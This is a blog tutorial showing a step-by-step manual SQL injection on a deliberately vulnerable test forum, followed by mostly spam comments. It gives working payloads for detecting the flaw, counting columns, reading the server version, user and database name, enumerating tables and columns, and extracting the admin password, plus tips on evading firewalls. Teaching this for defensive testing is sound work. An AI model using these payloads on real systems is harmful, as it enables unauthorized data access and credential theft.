SQL injections

Databases are pieces of software that allow massive storage of data in a structured-by-the-developer order. All this data can be easily accessed using SQL language. The data can be anything, from text, personal identification number, credit card numbers or even files in certain cases. The success of those databases is that anyone with the proper authorization can access the data both fast and easily. The access is achieved by SQL. SQL stands for Structured Query Language. A common SQL query is able to:

  1. Execute a Query
  2. Search the database for a given term
  3. Insert new records, delete old records, update existing records
  4. Other stuff that doesn’t matter at the time

Databases have daemons and clients.  The client is the one who builds the query and “talks” the language the daemon can understand*, the daemon is the one who executes it and responds to the client. Common daemons that you are supposed to know are FTP daemons, HTTP daemons (Apache for example) and the list goes on. Even browsers are http clients, they do other stuff too 🙂 Imagine now a forum.  Someone A posts a reply to a thread which is inserted into the database and you want to see his reply. You should have to query the database, something like SELECT answer FROM answers WHERE threadid=34; Get the answer, build the html page, view the answer, write another query to reply and it goes on and on. It would be too much, don’t you think? This is where middle tiers come into and make our daily life easy. You just request a page via HTTP, a middle tier gets the request, executes all the queries and answers back to the apache which sends back the answer. Such middle tiers, although this is not entirely right, are PHP, ASP, Ruby on Rails and the list just grows.  PHP is the guy who queries inside the database what you want, gets the answer, builds the page, sends the page to apache, apache sends the page to you.  Again, this is not entirely right for middle tiers, there may be schemes much more complicated 🙂 The HTTP protocol has three main types of getting data from client to the server. The first one is with a cookie.  A cookie is data stored inside your pc which is sent back to the server from time to time. Other type is the GET, transferring data via the url. For example a url somepage.php?inside=false means that the value of the inside variable is to be set to false. Server gets it, PHP deals with it. There is a “primitive” (not true, sometimes it is much more useful than GET array method, the Query String method). Another way is via the POST parameter. POST parameter is transferring data via the http headers.  If you are running firefox install tamper data add on and play with it to see how POST works 😛 SQL injection: SQL injection is when someone is injecting code to already built but not executed queries so that when the query is executed he will get data that he is not authorized to get. What does it mean already built queries?

$log=$_POST['login'];
$pass=$_POST['pwd'];

$q="SELECT 
uname,
pwd
FROM 
userstable 
WHERE 
uname=$log AND pwd=$pass"

//exec the query

There are many things to notice. The first is the $q variable. This is a prebuilt query.  PHP gets via the POST method two variables (login,pwd). These variables build the query which is then executed. OK, looks fine, it works too but… In this scenario both variables should not be null, which is not the case. Also there should be a reference by value (single quotes) inside the query and a few more checks. I guess the developer trusts too much his users and their input. What would have happened if a user did not enter his credentials but something like

admin AND 1=1--

The query would then  be

SELECT uname,pass FROM users WHERE uname=admin AND 1=1

The rest of the query is commented (–) out. The query would be executed because there is a uname field with the value of admin inside the db and also 1 equals to 1 which results in true. Another way to comment out the rest of the query is the /* . In GET parameter the equivalent of the above example would be something like index.php?id=99+AND+1=0-- The + character results in a space when SQL executes the query, also /**/ results in a space which is good to know when tools are not enough and you have to obfuscate web application firewalls. Enough with the theory, time for some practice.  The SQLi attack is currently inside the OWASP top ten project of web Security.  OWASP offers some fine, free and open source automated SQLi tools but in this example I won’t be using any tools but a browser. Head over to http://testasp.vulnweb.com/showforum.asp?id=1and let’s start. Because the only tool we have is a browser (strictly with no add ons) we are looking for GET parameters via the url. There is a possibility to find such parameters inside the forum area. id=1 is a GET variable and the query, well my best guess, looks like

SELECT * FROM atable WHERE id=$id;

Some insight. In cases that I don’t use automated tools but I prefer to identify and exploit the hole by hand I try to make sure that the hole is a hole and not something that looks like a hole. How to identify a hole What I prefer is adding a single quote (id=2′), making the query false (id=2 AND 1=0) hoping that it the execution of the query will return nothing, true (id=2 AND 1=1) hoping that it will return the records. If these three are positive then there is a big chance that this hole is exploitable. Make the URL something like this and there you go. An error, trying http://testasp.vulnweb.com/showforum.asp?id=1+AND+1=0– query executed successfully. Looks vulnerable. The attacker needs more information. We need to know how many columns are affected by the query. Some insight. There are cases that you won’t see an error indicating that you overpassed the number of columns. In these cases I have a custom perl script that does the job, develop one such tool and deploy it against your application. 😀 We’ll be using the ORDER BY to define how many columns are affected. ORDER BY 1, ORDER BY 2, ORDER BY 3 etc. http://testasp.vulnweb.com/showforum.asp?id=1+AND+1=0–. Everything works, so we ORDER BY 2, everything works again, we ORDER BY 3 and we get this

Microsoft SQL Native Client error '80040e14' 

The ORDER BY position number 3 is out of range of the number of items in the select list. 

/showforum.asp, line 9

Insight again. In most cases, column 1 exists, there are a few, but there are, that this returns an error 🙂 Now, we can start using the SELECT statement. Insight again, what the attacker wants to do here is to combine two select queries. In order to combine two sql queries it is critical to use the UNION SELECT or UNION ALL SELECT, depends on the case 😀 The main objective at the time is to find which column is returned back to the user, that is a critical piece of information which will return back a lot of information. The query looks like 1+and+1=0+UNION+SELECT+1,2– Why AND+1=0? Ok, this is simple, nobody cares for the forum replies so there are two options left, either an id that doesn’t exist or falsify the first query. An ID that doesn’t exist can be either minus (-1) or something big like 9999. You can try -1+UNION+SELECT+1,2– . It works too 🙂 The http://testasp.vulnweb.com/showforum.asp?id=1+and+1=0+UNION+SELECT+1,2– returns 1 and some other piece of information that are not necessary at the point. OK, at the time we know that there is a hole, it is exploitable via SQL injection, the query affects two columns from which the first is returned to the user. Let’s find more about the version of the server and the database name. Insight again. For me this is crucial especially when dealing with MySQL. In MySQL versions prior to 4 we can’t access the table containing all the necessary information about the other tables. There are times, though, that developers return way too many information about their current database structure which is helpful. Also, these piece of info such as the server, the database name, the current user of the database etc may be crucial, that is the reason I am writing all these here 🙂 In order to get the server version,the db name and the user we should inject three codes. First is 1+and+1=0+UNION+SELECT+@@version,2–which returns

Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2) 

Microsoft SQL Native Client error '80040e14' 

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. 

/showforum.asp, line 111

. The second statement is 1+and+1=0+UNION+SELECT+user,2–which returns

acunetix 

Microsoft SQL Native Client error '80040e14' 

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. 

/showforum.asp, line 111

The third statement is 1+and+1=0+UNION+SELECT+DB_NAME(),2–which returns

acuforum 

Microsoft SQL Native Client error '80040e14' 

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. 

/showforum.asp, line 111

Summing up, the user is acunetix, the db name is acuforum and the server is MSSQL 2005. Fine, but I still want more. What is critical at the moment is the structure of the database. The objective is to locate a table that may have user identification. Let’s roll. Remember when I said about a table who has every table? Well, this table is called information_schema and inside it there is a column named tables. This is what we need at the moment. Our query is http://testasp.vulnweb.com/showforum.asp?id=-1+UNION+SELECT+table_name,2+FROM+information_schema.tables– There is a slight change inside the query statement, I replaced 1+AND+1=0 with -1, as mentioned above works fine as well. 🙂 The query returns forums. My best guess is that there is no username/password here. We need to find a way to keep going. We want every table but not forums. So we don’t want (‘tables’). This makes our query like this http://testasp.vulnweb.com/showforum.asp?id=-1+UNION+SELECT+table_name,2+FROM+information_schema.tables+WHERE+table_name+NOT+IN+(‘forums’)–This resulted in posts. Which is not the case. Excluding what we don’t want (posts, forums, threads) results in a table called users. Well, this looks fine for the information we want. Next, we want the structure of the table users. Again, information_schema knows what we want to know. This time we want the column_name of information_schema. This makes our query look like

//
//
//
-1+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='users'--

and returns avatars. Ok, noone cares neither for those blue people nor for the pictures of the users.

//
//
//
-1+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='users'+AND+column_name+NOT+IN('avatars')--

That way we end up with

//
//
//
-1+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='users'+AND+column_name+NOT+IN+('avatar','email','realname','uname')--

which results in a column named upass. Ok, all necessary info lives there. We need to obtain it though, also everyone loves a highly privileged account (in this case is admin, remember forum posts, arachni-blah-blah and admin).

//
//
//
-1+UNION+SELECT+upass,2+FROM+users+WHERE+uname='admin'--/pre>

Bang, upass is none. Succesfully connected. < href=”http://testasp.vulnweb.com/showthread.asp?id=10″>0x109:) posted with admin privileges. Looks fine, don’t you think? A little more. Ok, this was a simple demonstration. Things to note. + results in a space, good for ofuscating, same things applies for /**/ Every database has a cheatsheet, find one. In this example I didn’t know that the user was the command I wanted, googled and got help 🙂 The best thing to secure your applications is attack them yourself.

*

Imagine the HTTP protocol. I want to see a page. My http client (any browser or something custom built) will send this message to the daemon

GET /somepage.html HTTP/1.0

When the daemon (let’s say apache) understands this message and responds with somepage.html

21 responses to “SQL injections

  1. I suggest adding a “google+” button for the blog!

  2. Thanks, I have recently been seeking for info about this topic for ages and yours is the best I’ve discovered so far.

  3. Pingback: SQL Cheatsheets | 0×109

  4. Your article has brought forth serious thought in me. I’m happy it did, because your points were so compelling that I just had to give them serious consideration. Your views are valid, logical and interesting.

  5. Pingback: My Homepage

  6. Pretty part of content. I just stumbled upon your weblog and in accession capital to assert that I get really loved account your weblog posts. Any way I

  7. There are actually loads of details like that to take into consideration. That is a nice level to convey up. I supply the thoughts above as basic inspiration however clearly there are questions just like the one you convey up where the most important thing will likely be working in trustworthy good faith. I don?t know if best practices have emerged around issues like that, however I’m certain that your job is clearly recognized as a good game. Both boys and girls really feel the influence of just a moment?s pleasure, for the remainder of their lives.

  8. Nice review! This is truly the type of information that should be shared around the internet. Sad on the search engines for not ranking this article higher!

  9. I thought this quote was really suiting “Nothing can stop the man with the right mental attitude from achieving his goal; nothing on earth can help the man with the wrong mental attitude.” – Thomas Jefferson

    • Didn’t know that quote. I always thought that doing a thing you really like is just like a journey, you go as far as you want to go. 🙂

  10. I just want to tell you that I am just newbie to blogs and honestly loved you’re blog site. Very likely I’m planning to bookmark your blog post . You really come with fabulous well written articles. With thanks for sharing your web-site.

    • Thanx mate 🙂 I’ll be writing some posts about web security concerning some more advanced SQL injection concepts such as from SQL injection to Local File Inclusion and Remote File Inclusion (again, not something new) and an entry level XSS guide 🙂 Happy Holidays

  11. Pingback: File Inclusions with SQL. | 0×109

  12. I intended to write you a very little remark just to say thank you again over the precious strategies you have discussed above. It was certainly seriously open-handed of you in giving without restraint precisely what many people would’ve sold as an ebook to help make some money for their own end, precisely considering that you could have done it in the event you wanted. These ideas also worked as the easy way to be sure that other people have the identical keenness the same as my own to grasp a good deal more with respect to this problem. I am certain there are millions of more fun sessions in the future for people who discover your blog.

  13. Hello There. I found your blog using msn. This is a very well written article.

    I will be sure to bookmark it and return to read more of your useful info.
    Thanks for the post. I will definitely comeback.

  14. Heya i’m for the first time here. I came across this board and I find It really useful & it helped me out a lot. I hope to give something back and help others like you helped me.

  15. iam try n i cant do it..

Leave a Reply

Your email address will not be published. Required fields are marked *